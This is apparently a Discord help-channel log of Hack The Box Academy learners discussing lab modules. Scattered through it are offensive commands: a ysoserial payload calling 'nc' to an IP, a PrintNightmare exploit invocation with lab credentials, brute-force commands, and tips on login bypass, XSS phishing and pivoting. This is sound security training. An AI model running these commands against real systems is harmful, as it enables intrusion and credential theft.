modules

[sly dome]

hahah wth

any mental problems

[fathom pendant]

@autumn pilot I'm about to release a 30 episode series on the htb academy job path its not against the very clear content guidelines that i for sure read yeah?

[heady surge]

So r u guys into automation or Game Creation

[autumn pilot]

can you give me some context

[sly dome]

thanks for the contribution HAHAHAHAHA

[sly dome]

none XD

[prisma spruce]

Didn't you ask a similar question three months ago?

[prisma spruce]

#cwes message

[sly dome]

for random stuff go to #general btw

that chat is funny

[echo roost]

lol what is going on

[fathom pendant]

They need to read #welcome and acquire basic reading comprehension skills first

[heady surge]

I don't even remember when I joined d server

[sly dome]

difficult task

[prisma spruce]

How I hack and mine for fish?

[fathom pendant]

September

[heady surge]

Wow just want to get me off rhe server right

[prisma spruce]

I can't really think of a use for -w - other than seq a b tbh

[sly dome]

check the cook

project

i shared the git

[fathom pendant]

I mean if you read #welcome you can figure out how to access more of the server

[echo roost]

sheesh my server time is going to end before I get result for https://academy.hackthebox.com/module/54/section/511 this question - One of the pages you will identify should say 'You don't have access!'. What is the full page URL?

[fathom pendant]

Then you're likely doing something wrong

[echo roost]

Ah thank you, good to know

[fathom pendant]

Most academy stuff doesn't take more than the initial lifetime of the target

[heady surge]

So I created A Game and want u guys to rate it It is a very basic Game

[echo roost]

good to know

[fathom pendant]

https://tenor.com/view/radar-searching-looking-checking-checking-the-radar-for-someone-who-cares-gif-17788490

[heady surge]

U r so negative to me

import pygame
import pytest
import time
import random
pygame.font.init()

WIDTH, HEIGHT = 800, 640
WIN = pygame.display.set_mode((WIDTH, HEIGHT))
pygame.display.set_caption("Space Ranger")

BG = pygame.transform.scale(pygame.image.load("Bg Img.jpg"), (WIDTH, HEIGHT))

PLAYER_WIDTH = 40
PLAYER_HEIGHT = 60
PLAYER_VEL = 5

STAR_WIDTH = 10
STAR_HEIGHT = 20
STAR_VEL = 3

FONT = pygame.font.SysFont("comicsans", 30)

def draw(player, elapsed_time, stars):
WIN.blit(BG, (0, 0))

'''pause_text = FONT.render("Pause", 1, "white")
WIN.blit(pause_text, (10, 50))'''

time_text = FONT.render(f"Time: {round(elapsed_time)}s", 1, "white")
WIN.blit(time_text, (10, 10))

pygame.draw.rect(WIN, ("red"), player)

for star in stars:
    pygame.draw.rect(WIN, "white", star)

pygame.display.update()

This is half of it

[analog dock]

Amazing game

[prisma spruce]

0 for the use of comic sans.

[lusty hearth]

loved it, better than overwatch

[analog dock]

Gta6 who?

[prisma spruce]

lol BG = pygame.transform.scale(pygame.image.load("Bg Img.jpg"), (WIDTH, HEIGHT))

[heady surge]

def main():
run = True

player = pygame.Rect(400, HEIGHT - PLAYER_HEIGHT, PLAYER_WIDTH, PLAYER_HEIGHT)

clock = pygame.time.Clock()
start_time = time.time()
elapsed_time = 0

star_add_increment = 2000
star_count = 0

stars = []
hit = []

[analog dock]

Even better now

[prisma spruce]

Imagine thinking it's a good idea to make a game with python.

[ocean night]

Tell that to EVE

[prisma spruce]

The servers aren't the game though.

[ocean night]

The game uses Python too

[heady surge]

How do I post a file here

[tight mesa]

hello y'all, anyone who can give me a hand with a Java issue?, a bit of context: I found in exploitdb the exploit 44553.py but when I run the command java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040' I'm receiving this Java error

[dull thistle]

Hi, I'm on Login Brute Forcing - Skill Assessment Service Login.
1st Question: " As you now have the name of an employee from the previous skills assessment question, try to gather basic information about them, and generate a custom password wordlist that meets the password policy. Also use 'usernameGenerator' to generate potential usernames for the employee. Finally, try to brute force the SSH server shown above to get the flag."

I have a question about the username but I don't want to spoil it here neither with spoilers, can I DM someone about it?

[tight mesa]

course I pointed to my PC not 10.0.0.5

[ocean night]

#modules

Oh, that's here

Great.

[dull thistle]

😛

[ocean night]

Sorry, I thought I was in general 😅

[dull thistle]

no worries ^^

[ocean night]

Is that part of a module @dull thistle ?

[dull thistle]

Yes " Login Brute Forcing "

[ocean night]

God damn it, @tight mesa I meant

Ok I should just quit

[dull thistle]

All good 😛

[ocean night]

I'm failing so hard.

[dull thistle]

Happy to answer any questions @ocean night ! 🙂

[tight mesa]

sorry don't understand

[thorn urchin]

hes asking if your java exploit question is module related

[ocean night]

I meant is the question you asked related to a module?

[ocean night]

Feel free to DM, can't spoil but if I can answer the question without spoiling I will do

[analog dock]

😂

[tight mesa]

oh sorry @ocean night @thorn urchin , yes my question is related to Other Notable Applications, more exact about question 2

the RCE access

[next bronze]

I'm pretty sure you don't need to use ysoserial unless you're doing the Deserialization Attacks module

[dull thistle]

Can't DM you because of your settings 😭

[ocean night]

Accepted

[tight mesa]

ok., understood maybe I need to search for a different exploit instead, thz btw

[echo roost]

I know the answer to this but my scan is still running and I didn't get to the ||linux php7 || page. I wnet recursive 1 should I have done recursive 2 or 3?

[fathom pendant]

¯_(ツ)_/¯

[prisma spruce]

Have you tried it?

[echo roost]

yeah just impatient

not a ffuf fan

[sly dome]

i found it in less than a minute xD

[echo roost]

no my scan hasn't found it my googleFu did lol

[sly dome]

wuot

[echo roost]

I answered the next two questions and my scan is still running.

just found it -

[sly dome]

amazing bro

[echo roost]

That was a good ten minutes

[echo roost]

leet hacker skillz

[tight mesa]

any hint?

[echo roost]

[sly dome]

module?

attacking common apps?

[inner sand]

guys anyone have a path to start in HTB machines and acadmey ( Free Machines And need a path in the academy that wont require me paid boxes later ) i really want to start in all field of hacking ( Web / Crypto / Low Level )

[tight mesa]

yup, Other Notable Applications

[sly dome]

you dont need ysoserial xd

the vuln is under weblogic

[echo roost]

learn assembly, then C#, then python or javascript and PowerShell

[inner sand]

you noticed that i asked for a path FROM HTB

that means when answering me you should provide me with source FROM HTB

[sly dome]

searchsploit weblogic and one of those works

[sly dome]

just stick to academy

ignore boxes xd

[inner sand]

is starting in machines better ?

[sly dome]

they will always be a source to practice specific attacks

[ocean night]

If you head over to https://academy.hackthebox.com, go to Modules and filter by Tier 0, you'll see plenty of content to get you started

[echo roost]

I agree, get some fundementals first

[tight mesa]

I haven't installed searchploit, that's why I'm using exploitdb

[ocean night]

Machines tend to require some prior knowledge and experience

[sly dome]

its the same

[tight mesa]

I know

[sly dome]

one of the exploits for that weblogic version under exploitdb will give u the flag

[ocean night]

Starting Point on https://app.hackthebox.com is also a good place to start 🙂

[sly dome]

no.

[soft plume]

Hi I'm on the Linux File Transfer Module and I'm curious on why we must have a self-signed certificate for our python web-server.

[sly dome]

we do not.

just in case we want the communications to be encrypted

[inner sand]

I already know how to install most of linux ditros, troubleshoot them install windows and troubleshoot it and understand how networks works in basic level and what a lot of tools in cybersecurity used in offense and defence and a good understand of electrical engineering and also web technologies and how it works

[tight mesa]

but almost all the exploit are referred to Desearialization RCE

[inner sand]

and many attack surfaces and types

[sly dome]

head over academy

nothing else

[ocean night]

Check out some social channels like ippsec and 0xdf too.. they do awesome walkthroughs, including tooling and process.

[sly dome]

just start and aim for some certification

[inner sand]

yeah they are informative

[sly dome]

dont try to find the perfect path

[inner sand]

oscp not a good start ?

[sly dome]

yes it is a good starting cert

[sly dome]

if u cn pay go ahead

[inner sand]

perfection is imposable

[sudden trail]

Hi everyone

[inner sand]

am still 16 lol

[sly dome]

cool

just start

[soft plume]

oh ok cool thanks!

[inner sand]

thnx man will see

[alpine ridge]

Hey guys would anyone be able to give me a hand on AD enumeration & attacks ACL Abuse Tactics. The task is to follow the steps above and set the user adunn SPN so you can kerberoast but I keep getting failed user damundsen doesn’t exist? Thanks

[tight mesa]

@sly dome 48971.py?

[ocean night]

The module describes a tool you should be using 😉

Not that there's an exploitdb entry out there as well, but yeah

[copper axle]

Been stuck on this question on WINDOWS EVENT LOGS & FINDING EVIL for forever: "Utilize the Get-WinEvent cmdlet to traverse all event logs located within the "C:\Tools\chainsaw\EVTX-ATTACK-SAMPLES\Lateral Movement" directory and determine when the \*\PRINT share was added." I've read through the module multiple times, tried all the commands I can come up with, went ahead and looked through the event viewer any nothing. Any suggestions?

[prisma spruce]

iirc, it took you that long because you didn't do it correctly.

[echo roost]

hmm, what's missing? -|| ffuf -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://faculty.academy.htb:42112/FUZZ -recursion -recursion-depth 1 -e .php7 -v -t 80||

clunky syntax

[prisma spruce]

I don't know why you're running it like that, but maybe I misread what you posted.

iirc you were supposed to find the one extension that is not used on the other domains, and then enumerate from there.

let me check my notes

[echo roost]

oh that's why

[tight mesa]

I'm not figuring out what tool do you mean, I read Other Notable Applications section once again and not catch it

[echo roost]

I misunderstood, should of read slower. I tried to scan all the subdomains at once, then tried to scan every extension. I did cancel the thing multiple times.

[tight mesa]

I found the default creds and got access to the app

[copper axle]

Hey. Were you ever able to figure this out?

[prisma spruce]

From my notes: directory-list-2.3-small.txt has 87664 words... two sites have two different extensions while the third site has a third. If you don't pick up on using the third site + third extension, you would be waiting on 701312 searches.

[echo roost]

wow good note taking

thanks, that explains why it took so long

[prisma spruce]

I honestly think the example given is both realistic and a bad example

[granite pagoda]

Hi ! I'm stuck on Privileged Access in AD Enumeration and Attack. I try to do this question : "What host can this user access via WinRM? (just the computer name)" I just try everything and impossible to find this f*cking host.

I tried :

-> Cypher query provived in the course = KO
-> With Powerview = KO

I tried to find another cypher query or another methods to have this info : impossible to find it.

Do you have an idea ?

[ocean night]

Which skill assessment step? There are three

[rare swan]

@ocean night are you using bloodhound to answer this question?

[ocean night]

I'm not answering anything 😅

[tight mesa]

no, no, it's not related to the skills assessments, is related to Other Notable Applications

[ocean night]

Ok let me just DM to stop spamming here

[tight mesa]

ok.

[supple gorge]

Hunting Evil with YARA (Windows Edition)

[supple gorge]

have you tried looking for that string in all logs?

[rare swan]

@ocean night can i DM you shortly? would love to get your feedback about something

[ocean night]

Depends what it is 😅

[rare swan]

just a link

[ocean night]

🙈 ok, but I reserve the right to run as fast as I can

[rare swan]

surely

[supple gorge]

fix: move files out of folder

[ocean night]

Bad rulesets then? 😦

[supple gorge]

yup

the shell_detector.yar, idk what it was yapping about, but seatbelt.yar indeed had an empty string

Anyone done malware analysis module?

[rustic sage]

why is the linux fundementals module so damn confusing

[supple gorge]

haven't done it yet but what are you confused over?

[fathom pendant]

Some of the stuff isn't well explained for the questions, but at the same time some rtfm helps

[prisma spruce]

It jumps all over the place.

[rustic sage]

it feels like a lot of the tasks dont come with the how to's

like i'll find the solution through this server or through google, and the very next thing teaches me the solution i just learned from google

atp im gonna redo all the tasks after finishing it

htb is an amazing resource, especially for being available freely, but i just wish it was structured a bit differently

[fathom pendant]

Linux funds is the only one that bounces like that

The rest are contained per section

[rustic sage]

ohhh okay okay thats good to hear

[fathom pendant]

It's more about, take the list of commands they give you and apply some thinking

Which does still apply to the other modules

[rustic sage]

that parts fine, but in the module im currently in most of the commands they give me havent been explained

[fathom pendant]

They give a brief overview of the commands in the section that lists them

[rustic sage]

the Permission Management section is confusing me

[fathom pendant]

What's confusing about it

7|7|7; self|group|others

[iron tartan]

What's the best way to report typos in academy content?

[prisma spruce]

#858470491676737536

[tiny ember]

I'm on Command Injection->Identifying filters and answer the question at the end for which item is not blacklisted. I have in burp that|| & ||is not filtered but still says i'm wrong. What am I missing? https://academy.hackthebox.com/module/109/section/1035

[rustic sage]

-rwxr-xr-x i dont understand reading these

[fathom pendant]

• indicates if it's a directory or not (if it's a d, it's a directory) then you have a 3 octal set of permissions. r = 1, w=2, x=3

[iron tartan]

I remember hating the idea of ever learning how that permission format worked

[fathom pendant]

Add them together to get your permission set

[rustic sage]

accurate

[fathom pendant]

4=r-x which means read and execute permissions

The first set of three indicates user perms

Second set indicates group

[rustic sage]

chat gpt goated

[prisma spruce]

there's stuff besides d too

[fathom pendant]

Third represents everyone else

[fathom pendant]

Keeping it basic

[iron tartan]

If it's an s then it's part of the challenge /s

[rustic sage]

bruh wth

[fathom pendant]

For most purposes you don't need to know about sticky bit (which replaces the execute bit)

Sticky just means it executes as the owner file owner

[rustic sage]

-rwxr-xr-x

so the first portion is for owner
second portion is for group (non guests on the machine to my understanding)
and the last portion is for people who are guests on the machine

idk im not sure what the difference between group and other is

[ocean night]

symlink l another one of the first column?

[fathom pendant]

Groups are just a set of users

[fathom pendant]

Thanks I knew I forgot something

[rustic sage]

ohhh so thats js something thats mentioned and not explained?

[iron tartan]

Everyone else (the last section) is everyone not defined within the owner / group section

[fathom pendant]

For the purposes of basics, it's not necessary

[rustic sage]

ahh okay okay

[fathom pendant]

Group would be like windows group sets like administrators/etc

Or system

[rustic sage]

so what's bianary notation

[iron tartan]

The cool way where it's numbers instead of letters

[rustic sage]

ohhhhhh

i just understood

[iron tartan]

W

[rustic sage]

is that necessary to be able to use?

like i understand the concept, but i cant imagine it being useful or faster

unless i memorized all possible combinations

[iron tartan]

Worth knowing both since you'll see both in different contexts

You only have to memorize what each number represents

[rustic sage]

421
rwx

[iron tartan]

Then just know that each of the 3 numbers represents a section (owner, group, everyone else)

[rustic sage]

421
rwx

x3

[ocean night]

Each column (of e.g. chmod 754 bleh), is a representative of what each section of users can do. 7 in binary is 111, so the user can rwx.. 5 in binary is 101, so the user can r-x (- denotes no permission).. 4 in binary is 100, so the user can r--

I think that's right anyway

Owner, Group, Everyone

[iron tartan]

I second

[rustic sage]

i feel like 421 is a little easier to translate in my head, is there any benefit to remember the bianary?

[iron tartan]

It's shorter

rwxrwxrwx == 777

[ocean night]

No need to remember binary tbh

[rustic sage]

4+2+1 = 7

[iron tartan]

And chmod is easier because it's shorter

That's my main use

[ocean night]

IIRC you can create a file in a directory without write permission, but can't write to it

or something like that

It's really weird

Gonna have to dig through my notes to find that reference

Ok no, not that.. what was it then

[prisma spruce]

https://unix.stackexchange.com/a/317446

[ocean night]

Had it in a vulnhub machine ages ago, and it felt really weird

God damn what was it.. maybe rename?

[fathom pendant]

001, 010, 100 would be the binary for 1,2,4

You just turn a bit in that sequence on/off

[prisma spruce]

for htb, switch everything to 777 /s

[low meadow]

short question, where do i find server and port ?

[iron tartan]

For one of the challenges?

[fathom pendant]

For the labs you're generally gonna be given an ip and/or port to attack

Format: ip:port

[iron tartan]

Lol good luck if they only give you a port

[languid wharf]

Hi, I'm working on the Easy lab of the skill assessment in the Password Attacks module. I've discovered two services, and with no further information/hints the only solution is bruteforcing :(. I'm using the username and password list provided in the module, and I wondered if there is any way to optimize it? Like bruteforcing the usernames first and after finding the right username, bruteforce for the password?
In previous lab I was able to avoid bruteforcing through the whole username list because we had access to the machine earlier and I could extract the possible usernames from there, which allowed me to narrow down the search dramatically.

[iron tartan]

I haven't done that module, but with my experiences in the modules you usually have to use a different but similar command / input, in this case your wordlist

[languid wharf]

Okay, but generally, is there any way to bruteforce usernames alone?

[iron tartan]

Yuh

Are you thinking of testing a list of usernames with a single password?

[languid wharf]

Yeah, to validate which users exist on the service, but I don't think that's possible because hydra only gets a hit when there's a successful login attempt

[iron tartan]

Ah

Yeah generally it's bad security to provide feedback on whether or not a user exists

To avoid user enumeration

[fathom pendant]

Make sure you can't just do a null login ;)

[languid wharf]

yeah I gussed so

[fathom pendant]

I dont recall that module too well

[languid wharf]

Lol

[keen knoll]

Did you solve this task? I have already identified the kind of malware that was running, but I can't seem to find the correct answer

[iron tartan]

I would think the best approach in this scenario would be to use a short list of passwords in combination with a list of common usernames

But I should see if I can read the module to give better advice than that

[ocean night]

You're given wordlists you need for that module

Use them 🙂

[ocean night]

Yep, this

[bright quiver]

can someone give me a hint or advice as to why this won't execute correctly? I am trying to complete the last question of the bleeding edge vulnerability section

[iron tartan]

Missing library perhaps

[fringe arch]

same as u, i am not clear about the question.....or did u solved it?

[languid wharf]

Thanks, I know, but the bruteforce process takes half an hour with the vanilla user& password list, and 111hr with the mutated password list, so I wanted to see if there are any possible optimizations to this long process

[sly dome]

show me your smbclient.py command

[ocean night]

Check any parameters regarding multithreading, doubt any mutation needed on an Easy section

[languid wharf]

For example, in bruteforcing the right username intially, and then with one username bruteforce the password, which might make it exponentially more efficient

[bright quiver]

@sly dome can I DM you everything i did ?

[sly dome]

you have the -u flag in hydra

[sly dome]

no

just show me your smbclient command

[iron tartan]

Always try to imagine what the easiest version of a technique would be when trying to find a solution

You can bet money that the easy section of anything in HTB won't require more than minimal compute power

[bright quiver]

@sly dome ||sudo smbserver.py -smb2support CompData /path/to/backupscript.dl||l

[sly dome]

yea dont do that

instead change path to dll for the path to directory where the dll is

[bright quiver]

ok

[languid wharf]

Thanks for all the suggestions!

[bright quiver]

@sly dome still not working when trying to run this -|| sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\172.16.5.225\CompData\backupscript.dll'|| - thoughts?

[sly dome]

btw to tell windows to fetch a smb file you must use \\ at the beginning

[bright quiver]

@sly dome so i do have that - think when pasting it removes it - but i have '\ followed by the IP...if my dll of backupscript is in th ehtb home directory should i really be running smb from there or some other directory and since it is running form there do i need to supply it with /home/htb-student/.dll?

[tiny ember]

bump? https://discordapp.com/channels/473760315293696010/774040263278592041/1186784839354023987

[ocean night]

Will DM you

[sly dome]

it doesnt matter

if ur running from the current directory and its there u can just do $(pwd)

dont use the file in the path

thats an error

if its on htb-student’s home

you just put /home/htb-student in the smbclient command

[bright quiver]

@sly dome So when I run I get this error....

Traceback (most recent call last):
File "/opt/CVE-2021-1675/CVE-2021-1675.py", line 188, in <module>
main(dce, pDriverPath, options.share)
File "/opt/CVE-2021-1675/CVE-2021-1675.py", line 93, in main
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20211013.152215.3fe2d73a-py3.9.egg/impacket/dcerpc/v5/rprn.py", line 636, in hRpcAddPrinterDriverEx
return dce.request(request)
File "/usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20211013.152215.3fe2d73a-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 880, in request
raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND - The system cannot find the file specified.

[sly dome]

the error is clear

either the directory is wrong or the dll name

[bright quiver]

ok - let me retry based off that advice - ty

[supple gorge]

typo? YARA and Sigma rules... This section is about Sigma

[ocean night]

See you posted in erratum also, it'll be handled. Thank you ❤️

[supple gorge]

i did, but now I"m not sure if I"m being stupid. so I'll just leave it up here

[ocean night]

Honestly I'm not sure either, but it does seem to contradict itself

Ok so on detection matches with OR, and another with AND?

[supple gorge]

it did, but then I kept reading and it mentioned it different later on, so it might just be me missunderstanding

[supple gorge]

What's right is that it is confusing tho and should probably be moved a bit below for more clarty

[ocean night]

Could be split up for clarity yeah

Ok bed time, nn 👋

[supple gorge]

night

[faint rampart]

Hey guys, Ive got a question, just completed the skill assessment of the File Upload Attacks and I got the right payload quickly but it took so much time to figure out why I wasnt getting a sensible response from the server - without spoilers, after ||reading the source|| and figuring out "everything" I crafted a payload, but for some weird reason was getting this response, until after prepending the payload with another payload(spoiler) it finally allowed me execute commands. Would love an explanation, thank you very much

[tidal shadow]

https://tenor.com/view/gojo-gojo-satoru-gojo-season-2-hip-thrust-reaction-gif-10399129046512126318

[tidal shadow]

nerd

[ocean night]

Nerds are cool.

[rustic sage]

what do you guys do when your eyes get tired

also, how should i pick what modules to do next

[ocean night]

Shower or sleep, caffeine will just make you crash harder. As for modules, depends what you're interested in.

[rustic sage]

im gonna run my head under cold water

[slender shoal]

This is not allowed. Please read #rules and #welcome. As well, please stay on topic. Thank you.

[cloud jolt]

understood, thank you for telling.

[shell ore]

i wanna ask smth about the "windows credentials hunting" section in password attacks module

the question that asks for winSCP password, is there a way to get it without the 3rd party tools, like lazagne.exe?

[regal stream]

I am confused as to why Mimikatz works but the normal Powershell does not when dealing with smb. Both Powershell and cmd.exe are being "ran" under the same user in this context. This is for Password Attacks > Pass the Hash (PtH)

[supple gorge]

never did the module. but perhaps it's has applied a kerberos ticket to the session impersonating an admin on DC01 (a different computer) hence why it works, perhaps? maye someone can answer better

[misty current]

Yup, Lazagne is just a tool with all collection techniques compiled together. So you can search for blogs for the manual method or best read the source code for Lazagne to see how it particularly extracts the WinSCP Password.

[shell ore]

will search into that

[regal stream]

This module uses NTLM. I read the following on a site but do not fully understand how using and then replacing fake information helps.

Mimikatz can perform the well-known operation ‘Pass-The-Hash’ to run a process under another credentials with NTLM hash of the user’s password, instead of its real password. For this, it starts a process with a fake identity, then replaces fake information (NTLM hash of the fake password) with real information (NTLM hash of the real password).```

https://blog.notso.pro/2020-05-09-offops-in-ad-1/

[supple gorge]

Well, a ticket is requested when an authentication is attempted against the DC as far as I know.

The reason you can access it through mimilatz is because you are authenticated in the session (impersonating) a user with the necessary privileges

[ocean night]

Certainly there are alternatives, but if the module recommends it then it's a tool you can use

[regal stream]

Ah I see, that makes sense. Appreciate it.

[misty current]

@regal stream If you did a klist on both sessions, you'd see the difference that the service tickets has on each of them. I'm not exactly sure, but I guess when doing pth, Mimikatz automatically requests and injects the ticket into it's session I believe. Like what @supple gorge said (correct me if I might be wrong)

[ocean night]

Nothing wrong with relying upon tools made by others, they can be part of your toolkit. Doing things from scratch is very gratifiying, but make use of the tools avialable.

[misty current]

Did you sleep only for 2 hours or didn't sleep at all? xD

[shell ore]

yeah i tried to get it manually but werent able so went on to use the tool

[ocean night]

I had a nap, woke up and couldn't get back to sleep, so thought I'd work instead

AWS fun times

[supple gorge]

I also thought it weird that after wishing goodnight you popped right in. It's my turn to go on the goodnight train. Hopefully I stay there until tomorrow lol

[ocean night]

nn, have a good sleep 🙂

[minor eagle]

Im having trouble understanding what i need to change for submitting the url in the xxs phishing lab i have created the malicious url and set up a site to redirect to the malicious url and put that through bitly i cant seem to get this url to send without getting "Issue in sending URL!"

[lusty thicket]

bitly?

[faint rampart]

Take a step back, do exactly what was explained in the section, your payload should get rid of the form on top of yours(I dont think you would get a response if you have 2 forms on a page), pass the url of the page where your injected form is at to the input field on the submit page and wait for a response on your php server. Stick to techniques taught in the section... Saves you the mental trauma, you absolutely do not need bitly for anything.

absolutely no response? try to reset the machine (that also looks like a very inapproriate vhost name)

Wrong URL.

[dull thistle]

Hmm I've tried many different even with .academy. so not sure where I went wrong with that

[faint rampart]

It should work - Try a reset and use the right vhost, run the first time to detect bogus param names run a second to filter those.

[slate galleon]

How to exploit string comparision in a PHP site

[faint rampart]

Depends, if its a login page - You could test for the use of loose comparism instead of strict comparison (that would give you a type juggling vulner you can abuse to bypass the login page)

[slate galleon]

How to view the PHP of the login page

Any software?

[faint rampart]

lol of course you dont have access to that, its on the backend server itself. - Unless its a whitebox test or you found a way to read that.

[dull thistle]

Can I DM you for a sec?

[faint rampart]

You dont, you pass an empty array as username/password, read up on that and play with burp.

[faint rampart]

Alrighty.

[slate galleon]

Thank you

[dull thistle]

👍 send FR

[faint rampart]

Youre welcome - Altho this channel is for academy modules, mods are probably not around, you should take this to the "general" channel next time.

[slate galleon]

Okay

Where is the general channel

[acoustic owl]

Here #general
If you have no access, read and follow #welcome

[south glen]

hey guys can anyone help me with the password attack module hard lab i am not able to find crack the password of johanna for the intial foothold i tried CME to password spray for user Johanna and used the mutated password list ... thanks

[languid wharf]

Hi, can anyone nudge me in the right direction of the medium lab of password attack module? I am on dennis and can't find a way to privesc

[fathom pendant]

Did you try a generic password list instead?

[fathom pendant]

Why don't you save his ssh key for later ;)

[languid wharf]

I've never seen this kind of reuse, guess that a first time for me. Thanks!

[fathom pendant]

The question to ask: why is there a password?

[languid wharf]

You're right, when I thought about this it seemed strange and that's what led me to try it

[south glen]

did you mean the one provided in the resources then yes

[fathom pendant]

No, I meant like rockyou (but a smaller list)

[south glen]

oh ...thanks let me try

[latent glen]

I have a qquestion in the Skills assessment when pivoting to the second into the 2nd subnet. I have done the pivoting the way the course has taught me. But now I am wondering how I would connect back using ligolo. If I have the agent on the internal network meaning 172.x.5.x and would want to connect back to my proxy. How would I do that? Which IP would I have to type. Given that its not connected to my own network?

meaning from the DC back to ligolo

[next bronze]

double pivot? open a listener from the first subnet to the ligolo server port on your attack host, then connect the ligolo agent in the second subnet to that listener in the first subnet

[languid wharf]

Can I dm you?

[latent glen]

yes thats what Im trying. But that listener in the first subnet. Do I have to run another proxy? say thats windows host. How do I run that listener back to the attack host. I feel stupid asking this, its like Im completely forgetting something

[next bronze]

you need to run the listener on a host that has access to both subnets

[latent glen]

found it. That was turning me mad

[supple gorge]

What's going on with the introduction to digital forensics module? The spawnable instance doesn't have the things mentione in the section

[hazy grotto]

I can't spawn a machien for the life of me.

[supple gorge]

rip, refresh page and reset, I think some recommended changing the thing from udp to tcp. what section you haggling with?

[hazy grotto]

i just got one finally.

took about 15 mins. im using pwnbox cuz i tried for hours last night and couldn't get the exploit to work

[supple gorge]

is that for win attack and defense?

good thinking on using the pwnbox, hope it works

[hazy grotto]

Yeah. last section

got it to load but

THis section has been a real fucking pain in my ass

[hazy grotto]

You ok if i send you a dm?

[supple gorge]

sure

[crisp remnant]

Is there someone that have finished the Advanced XSS and CSRF exploitation module ?

[analog dock]

Probably

[crisp remnant]

I need just a small tip on the last exercise... struggling to find the correct parameter name for one of the api endpoints

[languid wharf]

Have you managed to bruteforce the password for Johanna?

[cedar bear]

hello 🙂
i am new here
i have a problem with the section about DNS enumeration, on the path to CBBH
https://academy.hackthebox.com/module/144/section/1256
I have completed questions until now,
"What is the FQDN of the IP address 10.10.34.136?"
this question is about a private IP adress that i cant ping,
there are no records with "dig any 10.10.34.136"
no records either with nslookup, whois specifies that this kind of address is only for private networks, so if there are no records on the network's DNS, how can I retreive any information at all ??
thanks for your help !

[fathom pendant]

because the question is mildly misleading if you're not sure how you're meant to get the answer

you're supposed to dig against the target IP, not the IP in the question

also dig axfr will net you better results than any

[cedar bear]

i tried also with @ns.inlanefreight.htb at the end

[fathom pendant]

again

[cedar bear]

and also with dig axfr

[fathom pendant]

if you don't have inlanefreight.htb in your /etc/hosts

it's not gonna know

because .htb isn't a valid/registered tld

[cedar bear]

it's there...

[fathom pendant]

you can do @IP

the target IP is the spawned IP from the button "click here to spawn"

[cedar bear]

here you can see that there are 0 answers when i run the command

[fathom pendant]

facepalm

dude

you're not getting the point

dig axfr inlanefreight.htb @ip

look for that IP in that result

[cedar bear]

oh
i will try that

[fathom pendant]

if not dig through one of the subdomains

[languid wharf]

@fathom pendant Can you give me a clue about the johanna password bruteforce? Tried general and popular password lists and haven't found anything. Currently using mut_password.list and it is taking ages.

[fathom pendant]

i don't recall which list i used

[languid wharf]

First letter of the password if you recall/can check? Just to see how close I am. It's supposed to be in this mut_password.list

[fathom pendant]

i don't recall and don't feel like getting up to go look

just have patience

[hallow kiln]

What's your command, put it in spoilers

[cedar bear]

the ip for the specific question is different from the one i spawned, witch i used as DNS for all the other questions

[fathom pendant]

yes.... that's because the IP will be ON the DNS records

[languid wharf]

How can I put something in spoilers?

[hallow kiln]

You need two of these on each side of your message -> ||

||spoiler||

[languid wharf]

||First I tried with CME but it took ages: crackmapexec smb $IP -u johanna -p mut_password.list and then I looked at HTB Forums and someone suggested to bruteforce RDP because crowbar is much faster so I tried: crowbar -b rdp -u johanna -C mut_password.list -s $IP/32 -v||

[fathom pendant]

try bruteforcing the user against a different service

[languid wharf]

wait my mistake

[fathom pendant]

i never used crowbar for this fwiw

[hallow kiln]

Yeah, cme will work, you do need the mutated list you were using, but you're missing the --local-auth flag, its explained earlier in the module

[fathom pendant]

^

[languid wharf]

Oh, I'll look at it, thanks!

[fathom pendant]

windows is weird about it

[languid wharf]

How long is it supposed to take approximately? tired of just waiting for it to find the password

[hallow kiln]

After you add that flag, it'll be a few minutes at most

[languid wharf]

Okay, tysm

[fathom pendant]

note you can go one more level deeper (look for 127.0.0.1)

all about understanding what you can do

also the screenshot reveals some of the answers i believe for other questions

[cedar bear]

so i should delete

[fathom pendant]

yes

as stated though: it may not be on the initial dig - always look if you can go deeper - in this case you can dig one more subdomain in

[twin stirrup]

Im assuming you ended up getting this. If no DM me.

[cedar bear]

i finaaaaly got it !! thx i was blocked since yesterday xD

[smoky jackal]

I got it dw

[fathom pendant]

i would be devastated to be stuck on something for 2 months ngl

[languid wharf]

I still didn't get the password 😦

[latent glen]

Actually no I dont have it

I ran the listener. But on the internal network, what IP to I type. Im supposed to put my attack IP as per every guide out there but there is no route between them from the internal network. So how would it know to connect to my attack IP ?

@fathom pendant could you maybe input on this

Im having issues with double pivot on Ligolo.

[fathom pendant]

haven't used ligolo yet

so no

[latent glen]

oh fair enough

anyone?

[next bronze]

if you don't have a route between the host and your attack box, how are you getting a shell?

[south glen]

no @languid wharf still no progress yet

[languid wharf]

Can I dm u?

[south glen]

yeah sure

[gusty ocean]

how do I know where the path is for the user's email in linux?

[hallow kiln]

Strange, that should have worked, it's not far down the list

[fathom pendant]

env

[languid wharf]

First letter? Just to get an estimate about how far down it is. Maybe my machine works really slow but I don't think so

[gusty ocean]

ah thanks

[latent glen]

I get that. So for example when on the Internal machine I connect back to ubuntu with nc and forward that port to my attack machine, then I get a shell. But when I try to execute the agent on the internal windows machine and connect back through the ubuntu then I see connection refused on ligolo

oh do I have to set another agent on ubuntu too?

[hallow kiln]

starts with ||1||, double-checked my notes and it should be working, maybe something broke, try restarting the target

[next bronze]

idk what ubuntu or windows machine's ips are and their subnet

[languid wharf]

I'll try it, thanks. ||1 as in the first 1000 passwords or so?||

[next bronze]

as I've said, open a listener on the pivot host of the first subnet to the ligolo server listening port, then connect the agent of the second subnet pivot host to that listner of the first subnet

[hallow kiln]

as in first character of the password, would have to boot up my VM to check what position it is, I just recall it only took a couple of minutes

[languid wharf]

Okay, thanks for the help

[latent glen]

okay I will go through it very slowly again

[latent glen]

